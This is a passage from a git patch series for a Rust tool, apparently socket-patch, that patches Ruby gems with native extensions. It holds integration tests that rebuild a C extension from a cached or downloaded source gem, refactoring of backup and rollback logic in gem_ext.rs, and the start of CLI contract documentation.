scratch.join("proj"); + let home = proj.join("vendor/bundle/ruby").join(abi); + std::fs::create_dir_all(&home).unwrap(); + std::fs::write( + proj.join("Gemfile"), + "source \"https://rubygems.org\"\ngem \"sp_archive\"\n", + ) + .unwrap(); + // RubyGems' own install: `sp_portile`, then `sp_archive`, whose + // `extconf.rb` finds it in the home it is installed into. + let install_from_source = |into: &Path| { + let install = [ + "install", + "--local", + "--no-document", + "--ignore-dependencies", + "--install-dir", + ]; + let into_str = into.to_str().unwrap(); + for archive in [&portile_gem, &source_gem] { + let args = [&install[..], &[into_str, archive.to_str().unwrap()]].concat(); + gem( + &scratch, + &scratch, + &args, + &[("GEM_HOME", into), ("GEM_PATH", into)], + ); + } + }; + if !precompiled { + install_from_source(&home); + let gem_dir = home.join("gems/sp_archive-1.0.0"); + assert!( + !gem_dir.join("ports").exists(), + "the fixture's build removes ports/" + ); + return ArchiveFixture { + _tmp: tmp, + proj, + home, + gem_dir, + source_gem, + portile_gem, + }; + } + + // The compiled extension, from a build outside the project. + let build_home = scratch.join("build-home"); + std::fs::create_dir_all(&build_home).unwrap(); + install_from_source(&build_home); + let dlext = ruby_says("print RbConfig::CONFIG['DLEXT']"); + let minor = ruby_says("print RUBY_VERSION[/\\d+\\.\\d+/]"); + let platform = ruby_says("p = Gem::Platform.local; print \"#{p.cpu}-#{p.os}\""); + let binary = format!("sp_archive.{dlext}"); + let pre = scratch.join("sp_archive-pre"); + let prebuilt_dir = pre.join("lib/sp_archive").join(&minor); + std::fs::create_dir_all(&prebuilt_dir).unwrap(); + std::fs::create_dir_all(pre.join("ext/sp_archive")).unwrap(); + std::fs::copy( + build_home + .join("gems/sp_archive-1.0.0/lib/sp_archive") + .join(&binary), + prebuilt_dir.join(&binary), + ) + .unwrap(); + std::fs::write(pre.join("lib/sp_archive.rb"), ARCHIVE_LIB).unwrap(); + std::fs::write(pre.join(ARCHIVE_C_KEY), archive_c(1)).unwrap(); + std::fs::write( + pre.join("sp_archive.gemspec"), + format!( + "Gem::Specification.new do |s|\n s.name = \"sp_archive\"\n \ + s.version = \"1.0.0\"\n s.platform = \"{platform}\"\n s.summary = \"t\"\n \ + s.authors = [\"t\"]\n s.files = Dir[\"lib/**/*\", \"ext/**/*.c\"]\nend\n" + ), + ) + .unwrap(); + gem(&scratch, &pre, &["build", "sp_archive.gemspec"], &[]); + let platform_gem = std::fs::read_dir(&pre) + .unwrap() + .flatten() + .map(|e| e.path()) + .find(|p| p.extension().is_some_and(|e| e == "gem")) + .expect("the platform gem was built"); + gem( + &scratch, + &scratch, + &[ + "install", + "--local", + "--no-document", + "--ignore-dependencies", + "--install-dir", + home.to_str().unwrap(), + platform_gem.to_str().unwrap(), + ], + &[], + ); + let gem_dir = std::fs::read_dir(home.join("gems")) + .unwrap() + .flatten() + .map(|e| e.path()) + .find(|p| { + p.file_name() + .is_some_and(|n| n.to_string_lossy().starts_with("sp_archive-1.0.0-")) + }) + .expect("the platform gem was installed"); + assert!(gem_dir + .join("lib/sp_archive") + .join(&minor) + .join(&binary) + .is_file()); + ArchiveFixture { + _tmp: tmp, + proj, + home, + gem_dir, + source_gem, + portile_gem, + } + } + + /// What Ruby loads: `SpArchive.describe`, and the extension's path + /// relative to the gem dir. + fn loaded(&self) -> (String, String) { + let out = Command::new("ruby") + .args([ + "-e", + "require 'sp_archive'; puts SpArchive.describe; \ + puts $LOADED_FEATURES.grep(/sp_archive\\.(so|bundle|dll)\\z/).first", + ]) + .env("GEM_PATH", &self.home) + .env_remove("GEM_HOME") + .env_remove("RUBYOPT") + .output() + .unwrap(); + assert!( + out.status.success(), + "loading sp_archive failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + let text = String::from_utf8_lossy(&out.stdout).into_owned(); + let mut lines = text.lines(); + let describe = lines.next().unwrap_or_default().to_string(); + let feature = PathBuf::from(lines.next().unwrap_or_default()); + // Ruby may name the gem dir through a symlink (`/tmp`). + let gem_dir = self.gem_dir.canonicalize().unwrap(); + let feature = feature.canonicalize().unwrap_or(feature); + let rel = feature + .strip_prefix(&gem_dir) + .unwrap_or(&feature) + .display() + .to_string(); + (describe, rel) + } + + /// The record: a C source every copy ships, a build input no installed + /// copy holds (the build deleted it; a platform gem never packed it), + /// and a patch file it adds, as nokogiri's libxml2 patches are added. + fn write_full_record(&self) { + let (before, after) = (archive_c(1), archive_c(2)); + write_record( + &self.proj.join(".socket"), + ARCHIVE_PURL, + &[ + (ARCHIVE_C_KEY, Some(&before), &after), + ("ports/value.txt", Some("40\n"), "41\n"), + ("patches/0100-CVE-test.patch", None, "the fix\n"), + ], + ); + } + + fn run(&self, args: &[&str], registry: &str) -> (i32, String, String) { + common::run_with_env(&self.proj, args, &[("SOCKET_RUBYGEMS_URL", registry)]) + } +} + +fn archive_event_action(stdout: &str) -> String { + let env = parse_json_envelope(stdout); + common::envelope::event_for(&env, ARCHIVE_PURL)["action"] + .as_str() + .unwrap_or_default() + .to_string() +} + +/// A gem built from source whose build removed one of its inputs, as +/// nokogiri's removes `ports/`: the in-place rebuild cannot work, and the +/// rebuild from the archive RubyGems left in the home's `cache/` does, +/// with no network. A record that only adds a file `extconf.rb` builds +/// from (nokogiri's `patches/libxml2/*.patch`) changes what Ruby loads. +#[test] +#[ignore = "host capstone: compiles a C extension with the real ruby/gem toolchain; \ + the unpinned `test` job skips it, the pinned-Ruby e2e leg runs it via --ignored"] +fn a_source_built_gem_is_rebuilt_from_its_cached_source_gem() { + let Some(abi) = toolchain() else { + return; + }; + let fx = ArchiveFixture::new(&abi, false); + let run = |args: &[&str]| fx.run(args, NO_REGISTRY); + let cached = fx.home.join("cache/sp_archive-1.0.0.gem"); + assert!(cached.is_file(), "RubyGems keeps the archive it installed"); + let (describe, feature) = fx.loaded(); + assert_eq!(describe, ORIGINAL_BUILD); + assert_eq!( + feature, + format!("lib/sp_archive/{}", feature_leaf(&feature)) + ); + let tree_before = walk_files(&fx.proj.join("vendor")); + + // Without the archive: the copy's own tree is what is left to build, + // and its `extconf.rb` no longer has what it builds from. + let parked = fx.proj.join("sp_archive-1.0.0.gem.parked"); + std::fs::rename(&cached, &parked).unwrap(); + let without_archive = walk_files(&fx.proj.join("vendor")); + write_record( + &fx.proj.join(".socket"), + ARCHIVE_PURL, + &[("patches/0100-CVE-test.patch", None, "the fix\n")], + ); + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!(stdout.contains("native_extension_build_failed"), "{stdout}"); + assert!(stdout.contains("ports/value.txt is not there"), "{stdout}"); + assert_tree( + &fx.proj.join("vendor"), + &without_archive, + "after a failed in-place build", + ); + // A record that changes the removed input itself has nothing in the + // copy to be checked against: refused from files alone. + fx.write_full_record(); + for args in [ + &["apply", "--json", "--offline"][..], + &["apply", "--json", "--offline", "--dry-run"], + ] { + let (code, stdout, stderr) = run(args); + assert_eq!(code, 1, "{args:?}: {stdout}\n{stderr}"); + assert!( + stdout.contains("native_extensions_unsupported") + && stdout.contains("can only be rebuilt from the source gem"), + "{args:?}: {stdout}" + ); + assert_tree( + &fx.proj.join("vendor"), + &without_archive, + &format!("{args:?}"), + ); + } + std::fs::rename(&parked, &cached).unwrap(); + + // With it: built in a stage from the archive, offline. + let (code, _, _) = run(&["apply", "--check"]); + assert_ne!(code, 0, "an unapplied patch must not check clean"); + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(archive_event_action(&stdout), "applied", "{stdout}"); + assert_eq!( + fx.loaded().0, + PATCHED_BUILD, + "Ruby loads the rebuilt extension" + ); + assert_eq!( + std::fs::read_to_string(fx.gem_dir.join(ARCHIVE_C_KEY)).unwrap(), + archive_c(2) + ); + assert_eq!( + std::fs::read_to_string(fx.gem_dir.join("ports/value.txt")).unwrap(), + "41\n" + ); + assert!(!fx.home.join(".socket-patch-build").exists()); + let (code, stdout, stderr) = run(&["apply", "--check"]); + assert_eq!(code, 0, "a rebuilt patch checks clean:\n{stdout}\n{stderr}"); + assert!(vex_attests(run), "vex attests the rebuilt copy"); + let (code, stdout, _) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "{stdout}"); + assert_eq!(archive_event_action(&stdout), "skipped", "{stdout}"); + + let (code, stdout, stderr) = run(&["rollback", "--json", "--offline"]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_eq!(fx.loaded().0, ORIGINAL_BUILD, "the original build is back"); + assert_tree( + &fx.proj.join("vendor"), + &tree_before, + "rollback gives the install back byte for byte", + ); +} + +/// The file name of a loaded extension's path. +fn feature_leaf(feature: &str) -> &str { + feature.rsplit('/').next().unwrap_or(feature) +} + +/// A precompiled platform gem, the way nokogiri installs by default: the +/// source gem is downloaded from the gem's source and verified against its +/// compact index, the gem its build needs and the install lacks is staged +/// beside it (never installed into the user's home), and the build takes +/// the place of the prebuilt binary Ruby loads. `rollback` gives the +/// prebuilt binary back byte for byte. +#[cfg(unix)] +#[tokio::test(flavor = "multi_thread")] +#[ignore = "host capstone: compiles a C extension with the real ruby/gem toolchain; \ + the unpinned `test` job skips it, the pinned-Ruby e2e leg runs it via --ignored"] +async fn a_precompiled_gem_is_rebuilt_from_its_source_gem_and_grafted() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + let Some(abi) = toolchain() else { + return; + }; + let fx = ArchiveFixture::new(&abi, true); + let (source, portile) = ( + std::fs::read(&fx.source_gem).unwrap(), + std::fs::read(&fx.portile_gem).unwrap(), + ); + // The gem source: both gems' compact index entries and archives. Only + // `sp_portile` 1.0.2 can be downloaded: it is the newest `~> 1.0`. + let server = MockServer::start().await; + let other = "0".repeat(64); + for (route, body) in [ + ( + "/info/sp_archive".to_string(), + format!( + "---\n1.0.0 sp_portile:~> 1.0|checksum:{}\n", + common::sha256_hex(&source) + ), + ), + ( + "/info/sp_portile".to_string(), + format!( + "---\n1.0.0 |checksum:{other}\n1.0.2 |checksum:{}\n2.0.0 |checksum:{other}\n\ + 1.0.3.rc1 |checksum:{other}\n1.0.9 |checksum:{other},ruby:>= 99.0\n", + common::sha256_hex(&portile) + ), + ), + ] { + Mock::given(method("GET")) + .and(path(route)) + .respond_with(ResponseTemplate::new(200).set_body_string(body)) + .mount(&server) + .await; + } + for (route, bytes) in [ + ("/gems/sp_archive-1.0.0.gem", source), + ("/gems/sp_portile-1.0.2.gem", portile), + ] { + Mock::given(method("GET")) + .and(path(route)) + .respond_with( + ResponseTemplate::new(200).set_body_raw(bytes, "application/octet-stream"), + ) + .mount(&server) + .await; + } + let registry = server.uri(); + let run = |args: &[&str]| fx.run(args, ®istry); + + let (describe, feature) = fx.loaded(); + assert_eq!(describe, ORIGINAL_BUILD); + let minor = ruby_says("print RUBY_VERSION[/\\d+\\.\\d+/]"); + assert_eq!( + feature, + format!("lib/sp_archive/{minor}/{}", feature_leaf(&feature)), + "Ruby loads the prebuilt binary kept for its minor" + ); + assert!(!fx.gem_dir.join("patches").exists()); + fx.write_full_record(); + let tree_before = walk_files(&fx.proj.join("vendor")); + + // Offline, with no source gem in the home's cache: a clear refusal. + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!( + stdout.contains("native_extensions_unsupported") + && stdout.contains("this run is offline") + && stdout.contains("sp_archive-1.0.0.gem"), + "{stdout}" + ); + assert_tree(&fx.proj.join("vendor"), &tree_before, ""); + assert!(server.received_requests().await.unwrap().is_empty()); + + let (code, _, _) = run(&["apply", "--check"]); + assert_ne!(code, 0, "an unapplied patch must not check clean"); + let (code, stdout, stderr) = run(&["apply", "--json"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(archive_event_action(&stdout), "applied", "{stdout}"); + let (describe, patched_feature) = fx.loaded(); + assert_eq!(describe, PATCHED_BUILD, "Ruby loads the grafted build"); + assert_eq!(patched_feature, feature, "from where the prebuilt one was"); + assert_eq!( + std::fs::read_to_string(fx.gem_dir.join("patches/0100-CVE-test.patch")).unwrap(), + "the fix\n" + ); + for leftover in [ + fx.home.join(".socket-patch-build"), + fx.home.join("gems/sp_portile-1.0.2"), + fx.home.join("gems/sp_archive-1.0.0"), + fx.home.join("cache/sp_archive-1.0.0.gem"), + fx.home.join("cache/sp_portile-1.0.2.gem"), + ] { + assert!( + !leftover.exists(), + "{} was put into the user's gem home", + leftover.display() + ); + } + let (code, stdout, stderr) = run(&["apply", "--check"]); + assert_eq!(code, 0, "a grafted patch checks clean:\n{stdout}\n{stderr}"); + assert!(vex_attests(run), "vex attests the grafted copy"); + let requests = server.received_requests().await.unwrap().len(); + let (code, stdout, _) = run(&["apply", "--json"]); + assert_eq!(code, 0, "{stdout}"); + assert_eq!(archive_event_action(&stdout), "skipped", "{stdout}"); + assert_eq!( + server.received_requests().await.unwrap().len(), + requests, + "an applied patch asks the gem source for nothing" + ); + + let (code, stdout, stderr) = run(&["rollback", "--json", "--offline"]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_eq!(fx.loaded().0, ORIGINAL_BUILD, "the prebuilt binary is back"); + assert_tree( + &fx.proj.join("vendor"), + &tree_before, + "rollback gives the install back byte for byte", + ); + + // The source gem in the home's cache, as the refusal asks: found with + // no network. The gem its build needs is still not there to stage. + std::fs::copy(&fx.source_gem, fx.home.join("cache/sp_archive-1.0.0.gem")).unwrap(); + fx.write_full_record(); + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!( + stdout.contains("its build needs the gem sp_portile (~> 1.0)") + && stdout.contains("this run is offline"), + "{stdout}" + ); + assert_eq!(fx.loaded().0, ORIGINAL_BUILD); + let (code, stdout, stderr) = run(&["apply", "--json"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(fx.loaded().0, PATCHED_BUILD); +} diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 483133df5..5b72d6bd1 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -1809,9 +1809,9 @@ struct BackupInfo { /// extension dir. #[serde(default)] grafted: bool, - /// Build inputs of the record that the precompiled copy did not ship - /// and the patch wrote into it (normalized paths): `rollback` removes - /// them instead of restoring content the copy never held + /// Build inputs of the record that the installed copy did not hold and + /// the patch wrote into it (normalized paths): `rollback` removes them + /// instead of restoring content the copy never held /// ([`rollback_files`]). #[serde(default)] absent_files: Vec, @@ -1846,12 +1846,16 @@ fn ext_dir_label(home: &Path, ext_dir: &Path) -> String { /// copies of its artifacts) to [`BACKUP_DIR`], unless a backup exists or the /// current build is one socket-patch made (a marker exists: its original is /// gone). Staged and renamed into place, so a backup dir is always whole. -/// `Ok(true)` when this call made the backup. -fn back_up_original(copy: &GemCopy, probe: &Probe) -> std::io::Result { +/// The backup also lists `absent`, the record's files the copy did not hold +/// ([`files_as_installed`]); one that exists learns of those it does not +/// list. `Ok(true)` when this call made the backup. +fn back_up_original(copy: &GemCopy, probe: &Probe, absent: &[String]) -> std::io::Result { let backup = copy.gem_dir.join(BACKUP_DIR); - if std::fs::symlink_metadata(&backup).is_ok() - || std::fs::symlink_metadata(copy.gem_dir.join(MARKER_FILE)).is_ok() - { + if std::fs::symlink_metadata(&backup).is_ok() { + note_absent_files(&backup, absent)?; + return Ok(false); + } + if std::fs::symlink_metadata(copy.gem_dir.join(MARKER_FILE)).is_ok() { return Ok(false); } let stage = copy.gem_dir.join(format!("{BACKUP_DIR}.tmp")); @@ -1886,16 +1890,50 @@ fn back_up_original(copy: &GemCopy, probe: &Probe) -> std::io::Result { extension_dir: ext_dir_label(©.home, &probe.extension_dir), had_extension_dir, lib_files, + absent_files: absent.to_vec(), ..BackupInfo::default() }; - std::fs::write( - stage.join(BACKUP_INFO), - serde_json::to_vec_pretty(&info).map_err(std::io::Error::other)?, - )?; + write_backup_info(&stage, &info)?; std::fs::rename(&stage, &backup)?; Ok(true) } +/// Write a backup's description into `dir`: staged beside its place and +/// renamed, so it is always whole. +fn write_backup_info(dir: &Path, info: &BackupInfo) -> std::io::Result<()> { + let stage = dir.join(format!("{BACKUP_INFO}.tmp")); + std::fs::write( + &stage, + serde_json::to_vec_pretty(info).map_err(std::io::Error::other)?, + )?; + std::fs::rename(&stage, dir.join(BACKUP_INFO)) +} + +/// Add `absent` (files a later apply writes into a copy that did not hold +/// them) to an existing backup's list, so `rollback` removes them too. A +/// backup that is not a dir this tool wrote is left as it is. +fn note_absent_files(backup: &Path, absent: &[String]) -> std::io::Result<()> { + if absent.is_empty() || !is_real_dir(backup) { + return Ok(()); + } + let known = read_regular_to_bytes_sync(&backup.join(BACKUP_INFO)) + .ok() + .and_then(|bytes| serde_json::from_slice::(&bytes).ok()); + let Some(mut info) = known else { + return Ok(()); + }; + let before = info.absent_files.len(); + for path in absent { + if !info.absent_files.contains(path) { + info.absent_files.push(path.clone()); + } + } + if info.absent_files.len() != before { + write_backup_info(backup, &info)?; + } + Ok(()) +} + /// One lib copy read into memory: gem-dir-relative path, bytes, mode. type LibSnapshot = (String, Vec, std::fs::Permissions); @@ -2061,7 +2099,7 @@ async fn rebuild( let (copy, probe) = (copy.clone(), probe.clone()); crate::utils::fs::run_blocking(move || { let made = if back_up { - back_up_original(©, &probe) + back_up_original(©, &probe, &[]) .map_err(|e| format!("could not back up the original extension build: {e}"))? } else { false @@ -2525,17 +2563,17 @@ fn replace_with_file( /// Put a staged build in the place of the installed copy's: the staged /// extension dir becomes the copy's, and the `lib/` copies RubyGems made of /// its artifacts in the stage replace the installed ones. The original -/// build is backed up first (`back_up`), the current one is parked while -/// the new one moves in, and the marker records the result, exactly as an -/// in-place [`rebuild`] leaves them. On failure the previous build is put -/// back. +/// build is backed up first (`back_up`: with the record's files the copy +/// did not hold), the current one is parked while the new one moves in, and +/// the marker records the result, exactly as an in-place [`rebuild`] leaves +/// them. On failure the previous build is put back. fn install_staged_build( copy: &GemCopy, probe: &Probe, scope: &NativeScope, files: &HashMap, staged: &StagedBuild, - back_up: bool, + back_up: Option<&[String]>, ) -> Result<(), String> { // The stage was built by the Ruby that owns the copy, so both name the // same `extensions///`. @@ -2546,11 +2584,10 @@ fn install_staged_build( probe.extension_dir.display() )); } - let made_backup = if back_up { - back_up_original(copy, probe) - .map_err(|e| format!("could not back up the original extension build: {e}"))? - } else { - false + let made_backup = match back_up { + Some(absent) => back_up_original(copy, probe, absent) + .map_err(|e| format!("could not back up the original extension build: {e}"))?, + None => false, }; let drop_new_backup = || { if made_backup { @@ -2721,34 +2758,12 @@ fn plan_graft(copy: &GemCopy, probe: &Probe, staged: &StagedBuild) -> Result std::io::Result { let backup = copy.gem_dir.join(BACKUP_DIR); - let write_info = |dir: &Path, info: &BackupInfo| -> std::io::Result<()> { - let stage = dir.join(format!("{BACKUP_INFO}.tmp")); - std::fs::write( - &stage, - serde_json::to_vec_pretty(info).map_err(std::io::Error::other)?, - )?; - std::fs::rename(&stage, dir.join(BACKUP_INFO)) - }; if std::fs::symlink_metadata(&backup).is_ok() { - let known = read_regular_to_bytes_sync(&backup.join(BACKUP_INFO)) - .ok() - .and_then(|bytes| serde_json::from_slice::(&bytes).ok()); - if let Some(mut info) = known.filter(|info| info.grafted && is_real_dir(&backup)) { - let before = info.absent_files.len(); - for path in absent { - if !info.absent_files.contains(path) { - info.absent_files.push(path.clone()); - } - } - if info.absent_files.len() != before { - write_info(&backup, &info)?; - } - } + note_absent_files(&backup, absent)?; return Ok(false); } if std::fs::symlink_metadata(copy.gem_dir.join(MARKER_FILE)).is_ok() { @@ -2774,7 +2789,7 @@ fn back_up_prebuilt(copy: &GemCopy, grafts: &[Graft], absent: &[String]) -> std: absent_files: absent.to_vec(), ..BackupInfo::default() }; - write_info(&stage, &info)?; + write_backup_info(&stage, &info)?; std::fs::rename(&stage, &backup)?; Ok(true) } @@ -2833,13 +2848,15 @@ fn graft_binaries( grafted } -/// The record as a precompiled copy takes it: a build input the copy does -/// not ship (it is in the source gem alone, like nokogiri's `patches/**`) -/// is added to it, whatever content the record says it replaces. That -/// content is checked where it exists: in the source gem the extension is -/// rebuilt from ([`patch_staged_gem`]). Returns the record so adjusted and -/// the (normalized) paths it adds. -async fn files_for_precompiled( +/// The record as the installed copy takes it. A build input the copy does +/// not hold is added to it, whatever content the record says it replaces: +/// the source gem packs files an installed copy lacks (a precompiled gem +/// never shipped nokogiri's `patches/**`; a build deletes its `ports/**` +/// once it is done). That content is checked where it exists, in the +/// source gem the extension is rebuilt from ([`patch_staged_gem`]), so the +/// result is only used for a rebuild from that gem. Returns the record so +/// adjusted and the (normalized) paths it adds. +async fn files_as_installed( copy: &GemCopy, scope: &NativeScope, files: &HashMap, @@ -2865,10 +2882,10 @@ async fn files_for_precompiled( } /// The record's files as `rollback` undoes them on the gem copy at -/// `pkg_path`. A build input `apply` added to a precompiled copy that never -/// shipped it ([`files_for_precompiled`]; the copy's backup lists them) is -/// removed, not restored to the content it has in the source gem. Any -/// other copy: `files` as they are. +/// `pkg_path`. A build input `apply` added to a copy that did not hold it +/// ([`files_as_installed`]; the copy's backup lists them) is removed, not +/// restored to the content it has in the source gem. Any other copy: +/// `files` as they are. pub async fn rollback_files( pkg_path: &Path, files: &HashMap, @@ -2886,7 +2903,7 @@ pub async fn rollback_files( serde_json::from_slice::(&bytes).ok() }) .await; - let Some(info) = info.filter(|info| info.grafted) else { + let Some(info) = info else { return out; }; for (key, file) in out.iter_mut() { @@ -2975,7 +2992,7 @@ struct Job<'a> { /// The record's files. files: &'a HashMap, /// The record as the installed copy takes it - /// ([`files_for_precompiled`]). + /// ([`files_as_installed`]). installed_files: &'a HashMap, sources: &'a PatchSources<'a>, policy: MismatchPolicy, @@ -3184,11 +3201,7 @@ pub async fn apply_gem_package_patch( ); } let precompiled = scope.precompiled.is_some(); - let (installed_files, absent) = if precompiled { - files_for_precompiled(©, &scope, files).await - } else { - (files.clone(), Vec::new()) - }; + let (installed_files, absent) = files_as_installed(©, &scope, files).await; // Already patched and built from these sources: nothing to do. let built = { @@ -3294,6 +3307,24 @@ pub async fn apply_gem_package_patch( } } + // So can a gem RubyGems built, when the record changes an input its + // build removed from the installed copy. + if !precompiled && !absent.is_empty() { + let reachable = match &source { + Some(source) => gems.may_have(©.home, source).await, + None => false, + }; + if !reachable { + let why = "its archive is not in the gem home's cache and this run is offline"; + return refusal( + package_key, + pkg_path, + UNSUPPORTED_CODE, + absent_inputs_detail(&inputs, &absent, ©, why), + ); + } + } + // No program runs until the record's files verify against this copy: // until then nothing says the tree is the package the patch is for. // The pass writes nothing, and a dry run ends with it. @@ -3403,18 +3434,51 @@ pub async fn apply_gem_package_patch( Err(why) if precompiled => needs_source_gem(Some(source), why, false), // Not an archive this copy can be rebuilt from: its own // tree is what is left to build. - Err(_) => rebuild_in_place(&job, &probe).await, + Err(why) => rebuild_in_place(&job, &probe, &absent, &why).await, } } (Err(why), _) if precompiled => needs_source_gem(source.as_ref(), why, true), - _ => rebuild_in_place(&job, &probe).await, + (Err(why), _) => rebuild_in_place(&job, &probe, &absent, &why).await, + (Ok(_), None) => { + let why = "its gemspec does not name the gem it was installed from"; + rebuild_in_place(&job, &probe, &absent, why).await + } } } +/// The refusal of a record that changes build inputs the installed copy of +/// a gem RubyGems built no longer holds (`absent`), when the source gem +/// that packs them cannot be had (`why`). +fn absent_inputs_detail(inputs: &str, absent: &[String], copy: &GemCopy, why: &str) -> String { + format!( + "the patch changes native-extension sources ({inputs}), and the installed gem does not \ + hold {} (a build removes what it is done with), so the extension can only be rebuilt \ + from the source gem, which could not be had: {why}; nothing was written. Run \ + `socket-patch apply` once with network access to the gem's source, or put the gem's \ + archive in {}.", + absent.join(", "), + copy.home.join("cache").display() + ) +} + /// Write the patched sources and rebuild the extension from the installed /// copy's own tree ([`rebuild`]): what is left when its source gem cannot -/// be had. A failed build puts the sources and the previous build back. -async fn rebuild_in_place(job: &Job<'_>, probe: &Probe) -> GemApplied { +/// be had (`no_source_gem` says why). A failed build puts the sources and +/// the previous build back. A record that changes a build input the copy +/// no longer holds (`absent`) cannot be built this way: nothing here has +/// the file's content to check the record against. +async fn rebuild_in_place( + job: &Job<'_>, + probe: &Probe, + absent: &[String], + no_source_gem: &str, +) -> GemApplied { + if !absent.is_empty() { + return job.refuse( + UNSUPPORTED_CODE, + absent_inputs_detail(job.inputs, absent, job.copy, no_source_gem), + ); + } let originals = job.originals().await; let result = job.write_sources(&originals).await; if !result.success { @@ -3550,9 +3614,9 @@ async fn rebuild_in_stage( } let installed = { let (copy, probe, scope) = (copy.clone(), probe.clone(), job.scope.clone()); - let (files, built) = (job.files.clone(), built.clone()); + let (files, built, absent) = (job.files.clone(), built.clone(), absent.to_vec()); crate::utils::fs::run_blocking(move || { - install_staged_build(©, &probe, &scope, &files, &built, true) + install_staged_build(©, &probe, &scope, &files, &built, Some(&absent)) }) .await }; @@ -3804,7 +3868,7 @@ async fn rebuild_unpatched_from_source_gem( Some( crate::utils::fs::run_blocking(move || { let scope = NativeScope::default(); - install_staged_build(©, &probe, &scope, &HashMap::new(), &built, false) + install_staged_build(©, &probe, &scope, &HashMap::new(), &built, None) }) .await, ) @@ -5051,7 +5115,7 @@ mod tests { ); // The copy takes the file it never shipped as an addition. - let (installed, absent) = files_for_precompiled(©, &scope, &record).await; + let (installed, absent) = files_as_installed(©, &scope, &record).await; assert_eq!(absent, ["patches/0001.patch"]); assert_eq!(installed["patches/0001.patch"].before_hash, ""); assert_eq!(installed["ext/a/a.c"], record["ext/a/a.c"]); @@ -5248,12 +5312,12 @@ mod tests { label: "extensions/p/3.3.0/a-1".to_string(), ..built.clone() }; - let why = install_staged_build(©, &probe, &scope, &record, &foreign, true); + let why = install_staged_build(©, &probe, &scope, &record, &foreign, Some(&[])); assert!(why.unwrap_err().contains("not the installed extension's")); assert_eq!(std::fs::read(ext.join("a/a.so")).unwrap(), b"original"); assert!(!copy.gem_dir.join(BACKUP_DIR).exists()); - install_staged_build(©, &probe, &scope, &record, &built, true).unwrap(); + install_staged_build(©, &probe, &scope, &record, &built, Some(&[])).unwrap(); assert_eq!(std::fs::read(ext.join("a/a.so")).unwrap(), b"rebuilt"); assert!(ext.join(BUILD_COMPLETE).is_file()); assert_eq!( From e1151295ffb1f049af741871d496c552a5276012 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 13:18:01 -0500 Subject: [PATCH 04/13] Document rebuilds from the source gem and precompiled gem grafts Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/CLI_CONTRACT.md | 174 +++++++++++----- .../socket-patch-cli/src/commands/rollback.rs | 5 +- crates/socket-patch-core/src/patch/gem_ext.rs | 187 ++++++++++++------ docs/ecosystems.md | 62 ++++-- 4 files changed, 303 insertions(+), 125 deletions(-) diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index 88ac01447..e1b644de6 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -880,73 +880,153 @@ are patched by `socket-patch apply` like every other ecosystem: ### Ruby gems with native extensions in agent mode -Ruby loads the extension RubyGems compiled at install time -(`extensions///-/`, and its copy under the gem's `lib/`), never -the `ext/` sources beside it. When a gem record changes a native-extension build input, `apply` -writes the patched sources and then rebuilds the extension from them with RubyGems' own builder -(the step `gem pristine --extensions` runs), using the Ruby that owns the install: the one in +Ruby loads compiled code, never the sources beside it: the extension RubyGems compiled at install +time (`extensions///-/`, and its copy under the gem's `lib/`), or, for +a precompiled platform gem (`nokogiri-1.18.3-arm64-darwin`), the binary the gem ships for the +running Ruby (`lib/nokogiri/3.4/nokogiri.bundle`). When a gem record changes a native-extension +build input, `apply` rebuilds the extension with RubyGems' own builder (the step `gem install` +runs) and puts the build where Ruby loads it, using the Ruby that owns the install: the one in `/bin` of a `/lib/ruby/gems/` home, else the `ruby` on `PATH` run from -`--cwd`. A build input is a changed `.c`, `.h`, `.cc`, `.cpp`, `.cxx`, `.hh`, `.hpp`, `.hxx`, -`.m`, `.y` or `.rl` file, an `extconf.rb`, a `depend` under `ext/`, or any file under the -directory of a build script the installed gemspec's `extensions` names (a script at the gem root: -the files beside it) (#1996). In a gem that declares no extensions, only such a source under -`ext/` is one (where a precompiled platform gem keeps the sources of the binary it ships), and -never a grammar file (`.y`, `.rl`), whose generated output the gem packs. The Ruby must build into -the gem's installed `extensions///` dir; a gem without one (installed by a RubyGems -older than 2.2) is refused. The rebuild runs the gem's own build scripts, as `gem install` did. +`--cwd`. + +**Build inputs.** A gem is native when its installed gemspec declares `extensions`, or its +platform is not `ruby` (a precompiled gem). In a native gem every changed file is a build input +unless it clearly is not one: a file under one of the gemspec's require paths (`lib/**`; Ruby loads +it as it is), a file under `bin/`, `exe/`, `test/`, `spec/`, `features/`, `doc/`, `docs/` or +`man/`, or a top-level `README*`, `LICENSE*`, `CHANGELOG*`, `Gemfile*`, `*.md`, `*.txt` or +`*.gemspec`. So nokogiri's `patches/**`, `ports/**` and `dependencies.yml`, which its `extconf.rb` +builds the vendored libxml2 from, are inputs, and a record whose only file is an added +`patches/libxml2/.patch` is rebuilt. Always an input, wherever it sits: a `.c`, `.h`, `.cc`, +`.cpp`, `.cxx`, `.hh`, `.hpp`, `.hxx`, `.m`, `.y`, `.rl`, `.java` or `.rs` file, an `extconf.rb`, +a `CMakeLists.txt`, `Makefile`, `GNUmakefile`, `Cargo.toml`, 